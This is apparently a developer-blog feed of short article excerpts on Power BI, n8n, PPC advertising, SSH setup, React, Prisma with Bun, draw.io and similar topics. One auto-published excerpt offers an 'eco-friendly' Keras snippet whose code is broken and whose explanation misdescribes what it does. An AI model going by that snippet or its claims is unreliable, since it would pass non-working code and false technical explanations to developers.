    The Complete Guide: Connecting Power BI to PostgreSQL (Localhost & Aiven Cloud) Introduction Part 1: Connecting to Local PostgreSQL Prerequisites Step 1: Install PostgreSQL ODBC Driver Go to ODBC Data Sources in Windows Search Check if PostgreSQL Unicode or PostgreSQL ANSI driver exist If missing, download from: link # Official PostgreSQL ODBC driver https://www.postgresql.org/ftp/odbc/versions/ Step 2: Power BI Connection Setup Open Power BI Desktop Click Get Data → More... Select Database → PostgreSQL database Click Connect Step 3: Configure Connection Parameters Fill in your local PostgreSQL details: text Server: localhost Database: your_database_name Username: your_username Password: your_password Step 4: Data Preview and Load Select tables or write custom SQL P…  ( 8 min )
    Build Confidence in n8n. Your Entry Point to AI Driven Automations
    If you work with automation or you are exploring how to orchestrate tasks across different services, n8n is one of the most flexible tools you can start with. It is built around the idea of connecting systems, transforming data, triggering events, and even running agent style logic that reacts intelligently to inputs. You get a visual editor that represents each step clearly, but you still have full access to expressions, custom code, and advanced control over how your data flows. Because of this, n8n is useful for both simple workflows and more complex automation patterns. You can build integrations, background jobs, data pipelines, and small autonomous agents that make decisions without your involvement. In this guide we will create a small but practical workflow. It collects user input …  ( 8 min )
    PPC in 2025: Why Your Ad Budget Is Probably Funding Someone Else's Mistakes
    I spent an hour last week reviewing a client's Google Ads account. They'd burned through $18,000 in three months with exactly seven conversions to show for it. The kicker? Their previous agency had called this "building momentum." Welcome to PPC in 2025, where the platforms have never been more sophisticated and the opportunities to waste money have never been more creative. Look, paid advertising still works. But the gap between what works and what agencies sell you has turned into a canyon. The automation is better, the targeting is (theoretically) smarter, and somehow campaigns are harder to manage than ever. Let's talk about what's actually happening with your ad spend. Google and Meta want you to believe their AI can handle everything. Just set it and forget it, right? Wrong. Here's w…  ( 11 min )
    Why I Started Paying Attention to the Small Stuff Again
    For a long time, I walked around like my brain was somewhere else. You know that feeling where you’re doing everything on autopilot? That was basically my whole routine. Wake up. Work. Eat something random. Zone out. Sleep. Repeat. Nothing felt interesting, and I didn’t notice much around me anymore. I’d miss little things all the time because I just wasn’t really there, even when I was. Then one night, I was sitting at my desk after a long day, and I realized I’d been staring at the same pen for like twenty minutes. Not even thinking about it. Just looking at it without really seeing it. I picked it up and started rolling it in my hand. I don’t know what made me grab my sketchbook, but I did. I figured drawing the pen would at least give my brain something to chew on. The drawing came out…  ( 12 min )
    Exploring Git by Building My Own Minimal Version Control System
    I’ve used Git every day for years, but I realized I never really knew what happens behind the scenes. How does Git track changes? What does a commit actually store? How do branches and merges work internally? To answer these questions, I decided to build my own minimal Git clone from scratch — a small, hands-on project I call GitLite. Instead of just reading about Git’s architecture, I wanted to experience it: implement the core mechanics myself, experiment with commits, branches, merges, and see exactly how Git organizes its data. GitLite supports a simplified Git workflow: Staging files in a basic index Creating commits that capture snapshots and history Managing branches as simple pointers to commits Switching between branches Performing fast-forward merges Inspecting commit history and repository status The project is educational, not meant for real-world use. But building it helped me understand Git in a concrete, practical way — far beyond what tutorials or documentation can show. I also documented every step, so anyone interested can follow along and try it themselves. 🧩 GitLite repository and documentation: https://github.com/ironrinox/git-lite If you’ve ever wondered how Git really works, this project is a hands-on way to explore it.  ( 6 min )
    Build a Calorie Estimation App With Vision Agents
    Introduction Knowing the calorie count in the food you consume daily can help you maintain a healthy diet. But, manual calorie counting can be difficult, especially for foods without labels. With computer vision, we can now automate calorie estimation for any food. In this tutorial, we’ll build an agent that estimates and tracks your total calorie consumption throughout the day. We will leverage computer vision through the Vision Agents SDK for this. By the end, you’ll be able to point your camera at a portion of food, and the agent will estimate portion size and calories. Vision Agents (explore the code on GitHub) is a framework that enables developers to build real-time voice and video AI applications using any LLM and video edge network. The Vision Agents framework combines a series…  ( 16 min )
    How to Generate Video Schema for Any YouTube Video Automatically
    Video-rich content performs incredibly well in Google, but there’s one thing most creators forget: search engines can’t fully understand your embedded videos unless you give them structured data. That’s where VideoObject schema comes in. It tells Google details like: Video title Description Thumbnail Duration Upload date Embed URL If you’ve ever wondered why some videos appear with rich snippets and others don’t, schema markup is usually the difference. In this tutorial, I’ll show you how to generate video schema automatically from any YouTube link. No coding. No manual formatting. No JSON headaches. We’ll use a free generator that fetches metadata instantly and outputs clean JSON-LD you can paste directly into your website. Google treats videos as a separate content type. If your page inc…  ( 8 min )
    How to SSH Into a VirtualBox Ubuntu VM From Windows - Password Authentication (Step-By-Step Guide)
    If you're running Ubuntu in VirtualBox on Windows and want to SSH into it from your Windows terminal - this guide walks you through everything clearly. This is perfect if you want to: Practice Linux server administration Access your VM like a remote machine Simulate multiple user sessions Run commands from Windows without using the VM window Let’s get started. Open your Ubuntu terminal and switch to root (optional but convenient): sudo -i Install the SSH server: apt install openssh-server Check whether SSH server is running: systemctl status ssh If you see "active (running)", you're good. SSH sometimes disables password login by default. Open the SSH server config: nano /etc/ssh/sshd_config Find this line: #PasswordAuthentication no Change it to: Pas…  ( 7 min )
    How to Successfully Migrate Your App with an AI Agent
    "Migrate my app from x language to y language." You hit enter, watch your AI agent spin its wheels, and eventually every success story you've heard feels like a carefully orchestrated lie. Most failures have less to do with the agent's capability and more to do with poor prompt and context strategy. Think about it: if someone dropped you into a complex, unfamiliar codebase and said "migrate this," you'd be lost without a plan. You'd need to explore the code, ask questions about its structure, and break the work into manageable steps. Your AI agent needs the same approach: guided exploration, strategic questions, and decomposed tasks. I recently put this approach into practice with goose, migrating a legacy LLM credit provisioning system split across two repositories (React/Vite frontend an…  ( 11 min )
    Looking for Advice as a Junior Fullstack Developer
    Looking for Advice as a Junior Fullstack Developer (Java, Node.js, React) Hi everyone 👋, My name is Alejandro Tacoronte, and I completed my (Cross-Platform Application Development) studies in 2024. I’m currently looking to grow as a junior fullstack developer and would love to get advice from those with experience in the industry. I have experience and knowledge in: Backend: Java and Node.js Frontend: Some experience with React Databases: SQL Version Control: Git I’ve worked on projects during my studies and internships, and now I want to build my own projects that demonstrate my skills and ability to learn. 💡 I’d love to ask the community: What “mini projects” would you recommend for a junior fullstack developer to stand out? Which technologies or frameworks are most relevant in 2025? Any advice on how to showcase skills effectively, even without years of professional experience? I’d greatly appreciate any tips, resources, or personal experiences. 🙏 Thanks for reading! I’m looking forward to sharing my progress and learning alongside you all.  ( 6 min )
    On-Device AI with the Google Chrome Prompt API
    Unless you’ve been living under a rock, it’s hard to miss the rise of Generative AI. At the centre of this movement are Large Language Models (LLMs) such as Google’s Gemini and OpenAI’s ChatGPT. Typically, building solutions around these models involves sending data to their APIs and receiving a response. But not everyone is comfortable with this approach. Concerns around privacy, trust, legal compliance, and governance often arise. This is where on-device AI comes in: data is processed locally, addressing most of these issues. In this article, we’ll explore how to use the Chrome On-Device Prompt API to process data locally. This is the first in a series of articles covering Chrome’s on-device AI capabilities. Make sure you’re running the latest version of Chrome (currently version 142). T…  ( 8 min )
    Generative AI: What It Is, Why It Matters Now, And How To Put It To Work
    Generative AI is more than another technology buzzword. It marks a structural shift in how organizations use machines: from systems that mostly analyze existing data to systems that can create new content—text, images, audio, video, code, and even synthetic datasets. Generative AI can also draft the email to the customer, produce the visuals for the campaign, generate the code change, or simulate thousands of edge cases for testing. Instead of sitting at the end of a data pipeline as an afterthought, it is becoming a core production layer that accelerates content creation, decision-making, and product iteration across the business. For leaders, this means generative AI should not be treated as a novelty or a marketing gimmick. It should be viewed as an engine for efficiency and differentia…  ( 9 min )
    [Boost]
    frameit.dev - fast and free video thumbs, title cards and OG images Ed Spencer ・ Nov 17 #opensource #frameit #react #typescript  ( 5 min )
    The Shift Towards Agentic AI: What It Means for Developers
    The Shift Towards Agentic AI: What It Means for Developers Let's cut through the hype: agentic AI isn't some distant future concept anymore. By mid-2025, we're seeing a clear shift from experimental prototypes to production systems that actually ship. But here's the reality check—developers remain cautious, and for good reason. Quality concerns and trust issues are real obstacles we need to address. The question isn't whether agentic AI will transform development workflows—it already is. The question is: how do we implement it pragmatically, without falling into the trap of over-engineering or blindly trusting autonomous systems? The difference between 2024's experimental agents and 2025's production systems comes down to maturity. Forward-thinking companies are now using agentic AI to a…  ( 11 min )
    🍕 Eat-N-Split Day 2: Adding Friends & Toggling the Form
    Today I continued my Eat-N-Split course project in React — and it was a fun one! opening/closing the Add Friend form and rendering newly added friends dynamically. The main goal of Day 2 was: Show and hide the “Add Friend” form when the user clicks a button. Add a new friend to the list and update the UI instantly. This is a perfect example of React state in action. I used a simple boolean state to toggle the form visibility: const [friendFormIsOpen, setFriendFormIsOpen] = useState(false); And a button that flips it: setFriendFormIsOpen(show => !show)}> {friendFormIsOpen ? "Close" : "Add Friend"} 💡 Fun thing: This tiny little line of code lets you open and close the form with one button. No rocket science, just React magic. ✨ When a new friend is submitted: A new friend object is created with a unique ID, name, image, and a default balance. Then I update the friends state: setFriends(friends => [...friends, newFriend]); The cool part? React instantly re-renders the UI with the new friend without refreshing the page. 🪄 useState is your best friend — literally! Toggling things with a boolean is satisfying. Flip → show, Flip → hide. Adding items to an array in React is as simple as spreading the old array and adding the new item. Watching the new friend appear on the list feels like magic every time. ✨ Tomorrow (or next session), I’ll focus on: Splitting a bill with a selected friend Handling the calculation of balances dynamically Making the app fully interactive  ( 6 min )
    La Ley Federal de Prevención e Identificación de Operaciones
    La Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita-LFPIORPI ha experimentado reformas en 2025, que abordan la prevención y el monitoreo de lavado de dinero y financiamiento del terrorismo. Una de las novedades más relevantes se refiere al monitoreo transaccional de operaciones financieras con el uso de Inteligencia Artificial (IA) y Aprendizaje Automático (ML). De acuerdo con la reforma, los sujetos obligados (como bancos, casas de cambio y otras entidades financieras) deberán implementar sistemas de monitoreo transaccional que utilicen IA y ML para identificar y detectar operaciones sospechosas. Esto se traduce en la necesidad de contar con herramientas y plataformas especializadas que puedan analizar grandes cantidades de datos y tomar decisiones automática y en tiempo real. En este contexto, es relevante mencionar la plataforma de IA AML de TarantulaHawk.ai, que ofrece soluciones de monitoreo transaccional eficaces y escalables para sujetos obligados. Con su plataforma SaaS, es posible realizar un monitoreo más preciso y eficiente de operaciones financieras, lo que reduce el riesgo de incumplimiento y mejora la gestión de riesgos. Implicaciones prácticas para sujetos obligados: Deberán implementar sistemas de monitoreo transaccional que utilicen IA y ML para identificar operaciones sospechosas. Requirirán contar con herramientas y plataformas especializadas que puedan analizar grandes cantidades de datos y tomar decisiones automática y en tiempo real. Mejorarán su gestión de riesgos y reducirán el riesgo de incumplimiento. Es importante destacar que la implementación de estas soluciones requiere un enfoque responsable y ético, asegurando que la IA y el ML sean utilizados de manera transparente y justa, respetando la privacidad y derechos de los usuarios. Publicado automáticamente  ( 6 min )
    n8n Web Scraping || Part 2: Pagination, Infinite Scroll, Network Capture & More
    This is Part 2 of our n8n web scraping series with Zyte API. If you’re new here, check out Part 1 first, it covers the basics: fetching pages, extracting HTML with the HTML node, cleaning + normalizing results, & exporting CSV/JSON. Pagination Infinite Scroll Geolocation support Screenshots from browser rendering Capturing network requests Handling cookies, sessions, headers & IP type In this part, we’ll explore some important scraping practices and nodes, along with a few hands on tricks that make your web scraping journey smoother. Everything you learn here will also lay the foundation for our 3rd & final part, where we will build a universal scraper capable of scraping any website with minimal configuration. Let’s start by taking the same workflow we built in Part 1, & extend it. Beginn…  ( 12 min )
    **A Tale of Two Frameworks: Declarative vs
    A Tale of Two Frameworks: Declarative vs. Imperative AI As AI continues to advance, autonomous systems have become increasingly sophisticated, with various approaches vying for dominance. In this article, we'll delve into two prominent frameworks: Declarative and Imperative AI. We'll compare their strengths, weaknesses, and real-world applications, ultimately taking a stance on which approach is more effective. Declarative AI: The Knowledge-based Approach Declarative AI, also known as knowledge-based systems, is a declarative programming paradigm that focuses on defining the desired outcome rather than specifying how to achieve it. This approach is based on formal logic and knowledge representation, where the system's behavior is determined by its beliefs about the world. Think of it as pr…  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Rewatch Rundown In the latest Ringer Movies episode, Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s 1998 thriller Snake Eyes. They unpack Nic Cage’s undercover ballpark espionage, Gary Sinise’s corrupt-cop swagger, and Carla Gugino’s femme-fatale flair. Self-dubbing themselves the “kings of the sewer,” the trio gleefully dissects De Palma’s signature camera moves, plot twists, and the film’s over-the-top ’90s energy. Watch on YouTube  ( 6 min )
    Event-Driven Updates with ThingsDB
    In the world of real-time applications, delivering instantaneous updates to users is foundational. From collaborative documents to live chat applications, the ability to instantly reflect changes across all connected clients can make or break the user experience. ThingsDB, with its robust event-driven architecture, offers a powerful solution for achieving this. Traditionally, implementing event-driven updates in a real-time application, like a chat room, often followed a pattern that could lead to unnecessary complexity. Let's break down the classic approach and then explore how ThingsDB's new "emit to peers only" feature simplifies this process. Imagine a simple chat application. When a user sends a message, the desired flow is that the message appears instantly on the users screen, and v…  ( 7 min )
    **The Multimodal AI Blind Spot: Integrating Sensory Feedback
    The Multimodal AI Blind Spot: Integrating Sensory Feedback from Wearable Devices Multimodal AI, which combines multiple sources of data such as images, speech, text, and gestures, has revolutionized human-computer interaction. However, there's a growing trend that's often overlooked: integrating sensory feedback from wearable devices into multimodal AI systems. Think about it: wearable devices like smartwatches and fitness trackers can provide valuable insights into a user's physical and emotional state, such as heart rate, skin conductance, and muscle activity. By incorporating these signals into multimodal AI, we can create more empathetic and anticipatory interactions. For instance, imagine a conversational AI that not only responds to a user's speech but also takes into account their physiological signals. If the user is stressed, the AI can adjust its tone and pace to provide more soothing responses. If the user is physically active, the AI can provide sports-related suggestions or recommendations. The takeaway: Wearable devices can serve as a new sensor modality for multimodal AI, enabling more context-aware and empathetic interactions. By exploring the potential of wearable data, we can push the boundaries of human-AI collaboration and unlock new possibilities for applications like healthcare, education, and customer service. Publicado automáticamente  ( 6 min )
    Job roles are merging faster than ever before
    This was a fun conversation with Ryan J. Salva Senior Director of Product at Google Cloud, the brains behind Gemini CLI and Gemini Code Assist. We talked about Agents, Agentic Workflows, autonomous cars, industry trends in AI, and how job roles slowly merging, he explained me on how his team at Google is solving and improving the overall developer experience through CLI and Code Assist. Azim Shaik : The one analogy that I really liked is the four stage analogy on how autonomous cars are compared to the AI development that’s happening. Ryan J. Salva : You’ve likely heard of the five stages of autonomous driving. Conceptualized years ago by companies like Apple and Tesla, this framework describes the progression from a car that offers simple lane assistance (Stage 1) to one where you are ju…  ( 12 min )
    Turn Past Data into Future Insights: Forecasting with Tableau
    Forecasting is one of the most powerful capabilities in Tableau. Whether your goal is to predict next quarter’s revenue, anticipate demand, or estimate operational capacity, Tableau’s forecasting engine provides business leaders with actionable, visually intuitive projections. Forecasting is the process of using past and present data to predict future outcomes. Businesses use forecasting to: Trend A trend reflects long-term movement in the data — usually a steady increase or decrease. Example: A company’s quarterly sales increasing year after year. Seasonality Seasonality captures repeating, predictable patterns in data at fixed intervals. Example: Higher retail sales in December. Residuals Residuals are the differences between actual values and their predicted values. They help us underst…  ( 9 min )
    Build a Calorie Estimation App With Vision Agents
    Introduction Knowing the calorie count in the food you consume daily can help you maintain a healthy diet. But, manual calorie counting can be difficult, especially for foods without labels. With computer vision, we can now automate calorie estimation for any food. In this tutorial, we’ll build an agent that estimates and tracks your total calorie consumption throughout the day. We will leverage computer vision through the Vision Agents SDK for this. By the end, you’ll be able to point your camera at a portion of food, and the agent will estimate portion size and calories. Vision Agents (explore the code on GitHub) is a framework that enables developers to build real-time voice and video AI applications using any LLM and video edge network. The Vision Agents framework combines a series…  ( 16 min )
    Core Web Vitals: Top Trick
    Ranking high on Google directly depends on your Core Web Vitals. For me, one of the most impactful thing was this: Preload your LCP Determine what your Largest Contentful Paint element is, and add  ( 6 min )
    onSubmit in React.js Forms: Why action="" and method="" don’t apply anymore
    Back then in HTML, we would use: The browser handles everything automatically. But in React, we don’t let the browser reload the page - we handle it manually. Using onSubmit in React lets you control what happens when the form is submitted: function MyForm() { return ( Submit ); *Why this approach? No page reloads You control the logic Perfect for validations Works well with APIs (fetch/axios) Better user experience *Capturing inputs with useState React uses controlled components: const [name, setName] = useState(""); This gives you full control of the data. React forms felt strange at first, but once you understand onSubmit, preventDefault(), and useState, everything starts to click.  ( 6 min )
    **Eco-Friendly AI Code Snippet: Resource-aware Neural Networ
    Eco-Friendly AI Code Snippet: Resource-aware Neural Network import numpy as np from tensorflow.keras.models import Model def sustainable_model(x_train, x_val): input_layer = keras.Input(shape=(x_train.shape[1],)) model = Sequential([Dense(x_train.shape[1]//4, activation='relu', input_shape=(x_train.shape[1],))]) model.compile(loss='mean_squared_error', optimizer='adam') return Model(inputs=input_layer, outputs=model) This code snippet defines a simple neural network model that incorporates sustainability into its design. Here's what it does: It takes into consideration computational resource usage, a major concern for energy-intensive AI models. The input layer size is reduced using a technique called dimensionality reduction, using x_train.shape[1]//4 instead of the full size. This reduces the computational load while preserving the model's performance to some extent. Optimizer 'adam' is used to ensure fast and efficient model convergence. It compiles the model with a focus on resource efficiency during training. The model can then be trained and validated on smaller input datasets. This snippet showcases a key concept in sustainable AI: designing models that are energy-efficient and computationally light. Publicado automáticamente  ( 6 min )
    Healthcare Data Interoperability and FHIR: A Developer's Guide
    Healthcare technology is experiencing a revolution, and at its core is a challenge that affects millions of patients daily: getting different systems to talk to each other. In this article, I will explain what healthcare data interoperability is, and how FHIR is changing the game. Healthcare data interoperability is the ability of different healthcare information systems, applications, and devices to exchange, access, and use patient data seamlessly—regardless of the vendor or platform. You can think of it as creating a common language that allows your doctor's EHR (Electronic Health Record) system, the hospital's imaging system, your pharmacy's software, and even your fitness tracker to share information accurately and securely. There are typically four levels of interoperability: Foundat…  ( 10 min )
    [Boost]
    Major module update! Anthony Max for HMPL.js ・ Nov 17 #webdev #javascript #programming #opensource  ( 5 min )
    Major module update!
    Hello everyone! In this short article, I'd like to talk about the new versions we recently released. It would seem that the modules are quite utilitarian and there is no particular point in updating them, but nevertheless, it is worth keeping them up to date today, and we will talk about some of the changes in them today. Stay informed! In case you weren't aware, .hmpl actually has its own file extension. Loading it requires loaders, which were created specifically for Vite and WebPack. For these, we've updated the settings validation, which relies on the following types: interface HMPLCompileOptions { memo?: boolean; autoBody?: boolean | HMPLAutoBodyOptions; allowedContentTypes?: HMPLContentTypes; sanitize?: HMPLSanitize; disallowedTags?: HMPLDisallowedTags; sanitizeConfig?: Config; } A small, but also quite interesting update. This module is designed to use templating language syntax without npm or other add-ons. Nothing else is needed, just a single index.html file and that's it. In this update, we've added hmpl-dom.runtime.js. This is also quite an update. They've also updated the README files and other texts everywhere, but that's not really important in the context of releases. You can write your thoughts about the new features in the comments, it will be interesting to read! Or, there is a thematic Discord channel for questions and suggestions, there I or someone else will try to answer! So you can take part in it too! This also means you can use it for commercial purposes: Repo: https://github.com/hmpl-language/hmpl (Star Us ★) https://hmpl-lang.dev https://hmpl-lang.dev/changelog Thank you very much for reading the article!  ( 6 min )
    New fav claude CLI commands: /primer & /wrap-up
    I have been weaving command into my daily workflow quite frequently lately! It all started when I realized I was repeating the same set of requests or questions to claude at specific intervals, the start of the conversation and when I was ready to wrap up and get all the lint and tests passing. As an example of some of the things I would continuously ask claude to make sure they took care of were: In The Start Of Conversations: -use SPARC (see other article) At The End Of Conversations: -ALL tests and lint warnings/errors HAVE to be fixed (sorry to caps out on ya there but I told claude this a whole lotta times!) So in the middle of doing it again I stopped, opened a different claude and asked it to write our first command ... /primer - Quality Engineering Mode Activation Purpose: This com…  ( 8 min )
    Context Engineering: The Critical Infrastructure challenge in Production LLM systems
    The $10M question nobody's asking While the industry obsesses over model parameters and training costs, we're collectively ignoring a production bottleneck that's costing organizations millions: inefficient context management. I recently analyzed production LLM deployments across multiple organizations and found something striking: 65-80% of tokens sent to LLMs are redundant, irrelevant, or poorly structured. When you're processing billions of tokens monthly at $0.01-0.06 per 1K tokens, this inefficiency translates to substantial operational waste, not just in dollars, but in latency, throughput, and user experience. Context engineering isn't just optimization, it's foundational infrastructure for production AI systems. And yet, most teams are still treating it as an afterthought. The n…  ( 11 min )
    How to use Prisma with Bun
    Bun is a fast JavaScript runtime that's been making waves in the developer community. It includes a bundler, test runner, and package manager all in one. In this tutorial, we'll explore how to integrate Prisma ORM with Prisma Postgres in Bun to build a simple HTTP server. The workflow is straightforward: set up Prisma with a Prisma Postgres database, create a simple data model, and build an HTTP server that queries your database. We'll even compile it into a single executable file for deployment. In this tutorial, we'll create a simple user management system with: Type-safe database queries using Prisma A basic HTTP server with Bun Seed data for development A compiled executable for production deployment mkdir bun-prisma cd bun-prisma bun init -y This creates a basic Bun project with a pa…  ( 9 min )
    Mastering Enterprise Data Compliance in a Regulated World
    In today's digital landscape, enterprises face mounting pressures to safeguard sensitive information amid evolving regulations. Data breaches not only erode trust but also invite severe financial repercussions. Regulations such as GDPR and HIPAA set stringent standards for handling personal and health data, compelling organizations to adopt proactive measures. Effective data governance & compliance emerges as a cornerstone for maintaining integrity and accountability across vast datasets. Businesses that prioritize data compliance gain a competitive edge by fostering transparency and reliability. This approach minimizes risks associated with non-compliance, which can lead to hefty fines or reputational damage. Data governance involves structured policies and processes that ensure data qua…  ( 10 min )
    Nexa Rust Extra Font : AtoZ Font
    Nexa Rust Extra, designed by Fontfabric, falls under the Display, Script category & Nexa Rust font family. Its smooth, flowing letterforms make it a versatile choice for projects that require both elegance and readability. Nexa Rust is particularly well-suited for Packaging, Posters and Event Flyers, Apparel and Merchandise and Branding and Logos. With its balance of simplicity and decorative appeal, this font brings a polished touch to both personal and professional designs. https://www.atozfont.com/font/nexa-rust-extra NexaRustExtraFont #Fonts #AtoZFont #AtoZFonts #A2ZFont #A2ZFonts #ttf #otf #Fontdownload #Downloads  ( 6 min )
    How to disable page view by default in draw.io
    I'm using draw.io to create diagrams or as part of workshops to visualize ideas or organize information. I almost never print any of the diagrams I'm creating, but the app defaults to a page view. I find that I naturally gravitate to trying to fit things within the default page size and get a bit irritated when pages are automatically added or removed depending on where I move stuff. Fortunately, page view can be disabled in the diagram options by unchecking the checkbox in the diagram menu, or via the View menu. Since I do that for pretty much every diagram, I wondered if there's a better way. Changing the default so that new files start with the whole canvas available is not that difficult once you find the right configuration options. Getting there took me a bit, so I'm writing this quick guide for you (and future me). draw.io allows you to customize your settings from the Extras -> Configuration menu. Next, you're greeted by this beautiful text input field with a JSON document. Here, you can customize the default behavior of draw.io as described in the docs: Configure the draw.io editor. The configuration option for page view is of course not called pageViewEnabled or something like that. Instead, we need to set defaultPageVisible to false. If your configuration block is empty, copy and paste the following: { "defaultPageVisible": false } Next, click Apply and restart draw.io. Any new documents that you create should now start with the full canvas instead of the page view. The other options in my configuration increase the size of the shape thumbnails (a godsend on a large screen) and ensure things get pasted where I want them to be. Anyway, that's it. — Maurice If you're getting the following error (or something like it) when clicking apply, you probably added a comma after the last key-value pair in the JSON document, which it doesn't like: Expected double-quoted property name in JSON at position 105 (line 6 column 1)  ( 7 min )
    [Boost]
    Vite vs Webpack: A Comparative Analysis Debajit Mallick ・ Feb 14 '24 #vite #webpack #buildtools #webdev  ( 5 min )
    Full-Stack Security Architecture
    Security is not a plugin you add at the end; it is an architectural requirement. In a modern Next.js application, security responsibilities are split between the Edge (Middleware), the Configuration (next.config.js), and the Server Runtime (Server Actions). This guide details a cohesive security strategy using Next.js, Zod (validation), and Bcrypt (cryptography). Before implementing code, ensure your infrastructure meets these baselines: [ ] SSL/TLS: Enforce HTTPS strictly (HSTS). [ ] Content Security Policy (CSP): Restrict data sources to trusted domains. [ ] Database Security: Never concatenate SQL; use ORMs (Prisma/Drizzle) or parameterized queries. [ ] Input Sanitization: Validate data types and length on the server. [ ] Secure Dependencies: regularly run npm audit. In Next.js, securit…  ( 8 min )
    #cicd #ec2
    CI/CD Pipeline for Amazon EC2 Lasantha Sanjeewa Silva for AWS Community Builders ・ Mar 1 #aws #devops #cloud #cloudcomputing  ( 5 min )
    What are your goals for the week? #153
    It's November, time to start watching for Black Friday and Cyber Monday Tech Developer deals. I don't hit brick and mortar stores on Friday too crowded and too many years working retail. I will shop online though. What are you building this week? What are you working on this week? Are you attending any events this week? Continue Job Search. Network, Send emails. Redo resume Project work. Content for side project. Work on my own project. Follow Content & Project Calendar for November. Blog I want to blog more often and produce more than I did this time last year. Start searching for Black Friday developer related deals. I'll post them next week. Events. Dads in Tech Thursday * Virtual Coffee. Run a goal setting thread on Virtual Coffee(VC) Slack. 🚧 Continue Job Search. Network, Send emails. Redo resume Project work. ✅Content for side project. Work on my own project. Follow Content & Project Calendar for November. Events. Thursday * Virtual Coffee. ✅ Thursday * Dallas Software Developers meetup (virtual) Night of JavaScript. ✅ Run a goal setting thread on Virtual Coffee(VC) Slack. Noticed I left blogging off of my list. Oh well didn't do any extra blogging anyway last week. What are you building? What are you working on? Are you attending any events this week? Any suggestions for online events this week? Cover image is my LEGO photography. Stitch with fours arms. He's holding a laptop, phone, cookie, and a mug. He's next to a desk with a CRT monitor and keyboard. -$JarvisScript git commit -m "edition 153"  ( 17 min )
    12 full-stack project ideas (with designs) for your developer portfolio
    You need a portfolio to get hired. But most developers struggle with two problems: deciding what to build, and making their projects look professional enough to impress hiring managers. Hiring managers spend maybe 30 seconds on your portfolio. They're looking for proof you can build complete applications: frontend, backend, database, deployed. If your projects look unpolished or amateur, they move on. What makes a strong full-stack portfolio project? Projects that demonstrate frontend, backend, database, and deployment skills together. Strong projects include real-world features like authentication, search functionality, data validation, and API design. Each project needs live deployment and public source code to prove you can build and ship complete applications. These projects prove you …  ( 25 min )
    21 AI Tools Helping Small Businesses Grow in 2025
    Discover the most useful AI tools for small businesses in 2025, how they work, and how companies can use them to improve productivity, customer service, and daily operations. Running a small business in 2025 means dealing with fast competition, rising customer expectations, and the pressure to deliver more with fewer resources. The rapid growth of artificial intelligence has become a major support system for small businesses. What once required large teams or expensive software can now be handled with smart, affordable AI tools that simplify operations and improve efficiency. Whether it is automating workflows, generating content, handling customer queries, or analyzing data, AI tools have become essential parts of modern business operations. This article explores the AI tools making the b…  ( 10 min )
    Transform Your Raspberry Pi into a Mini Windows 11 PC: Step-by-Step Guide
    Introduction If you’ve ever looked at your Raspberry Pi and wondered “Could I run Windows 11 on this?”, you’re not alone. While the Pi is typically paired with Raspberry Pi OS or other Linux-based systems, it’s surprisingly possible to install and use Windows 11 (ARM64 version) on Raspberry Pi versions such as the Pi 4 and Pi 5. In this blog I’ll walk you through the entire process—what you need, how to set it up, the limitations you’ll face—and share my own experience. Why Install Windows 11 on a Raspberry Pi? Before diving into the how-to, let’s talk about why you might want to do this: You’re familiar with Windows and prefer its interface (Start menu, File Explorer, Microsoft ecosystem) over Linux. You want to test ARM64 Windows apps but don’t have a dedicated ARM laptop; a Pi off…  ( 9 min )
    Will Reasoning Become the New Turing Test? Let's play a Sherlock Holmes game
    Introduction I've been thinking about the Turing Test again. The classic experiment where a machine "passes" by imitating human conversation now feels… complete. The game has been played and, in many ways, won. But that leaves me with a harder question: Does AI really have intelligence? A few nights ago, I caught a re-broadcast of a Sherlock Holmes-like film Death on the Nile on TV. Watching "Holmes" unravel impossibilities with cool precision, I couldn't help but wonder: What if the next great test for intelligence isn't conversation, but reasoning? Maybe the mystery case, not the chat window, will define the next Turing Test. In 1950, Alan Turing asked a timeless question: "Can machines think?" His "Imitation Game" proposed a provocative challenge: if a computer could convincingly m…  ( 8 min )
    Analisando Práticas de Teste do Projeto Hollow da Netflix: Lições de Código Open Source
    Disclaimer Introdução Analisar código de projetos open source de empresas relevantes é uma excelente forma de evoluir suas práticas de desenvolvimento. Neste post, vamos explorar as práticas de testes automatizados do projeto Hollow da Netflix, focando em testes de unidade e integração. A ideia é comparar as práticas que você utiliza no seu contexto com as práticas de projetos mantidos por empresas de referência na indústria de software. Hollow é um projeto open source da Netflix criado para facilitar a transferência de dados ultra rápida entre sistemas, especialmente quando lidamos com volumes gigantes de informação. Uma característica marcante nos testes do Hollow é o esforço investido na construção dos asserts. Por exemplo, no teste HollowRecordJsonStringifierTest, que te…  ( 10 min )
    What If You Could Write AJAX Without JavaScript? Meet fetchtl.
    Ever wished you could make an API request without writing a single line of JavaScript? Yeah… me too 😅 fetchtl — a tiny library that lets you do things like: Register That’s it. No JS. No frameworks. No fetch(). Just HTML. As a web developer, I got tired of doing this 100 times: fetch("/api/user") .then(res => res.json()) .then(data => { document.querySelector("#user").innerHTML = data.name; }); Too much boilerplate. Too much repetition. “Just write HTML and let the page fetch automatically.” fetchtl — a tool that gives HTML magical new attributes: $get → Load data from an API $post → Submit a form via AJAX fetchtl is a JavaScri…  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    Bill Simmons, Sean Fennessey, and Van Lathan crawl back into the neon-drenched world of Brian De Palma’s Snake Eyes, basking in Nic Cage’s sweaty swagger, Gary Sinise’s menacing charm, and Carla Gugino’s undercover intrigue. They crown themselves “kings of the sewer,” unpacking that iconic tracking shot, wild conspiracies, and everything that makes this ’98 noir thriller a deliciously over-the-top ride. This episode—produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo—is brought to you by PayPal’s holiday Pay in 4 deal (5% cash back through 12/31). Tune in, get your popcorn, and bask in the chaos. Watch on YouTube  ( 6 min )
    Native Apps with ClojureScript, React and Static Hermes
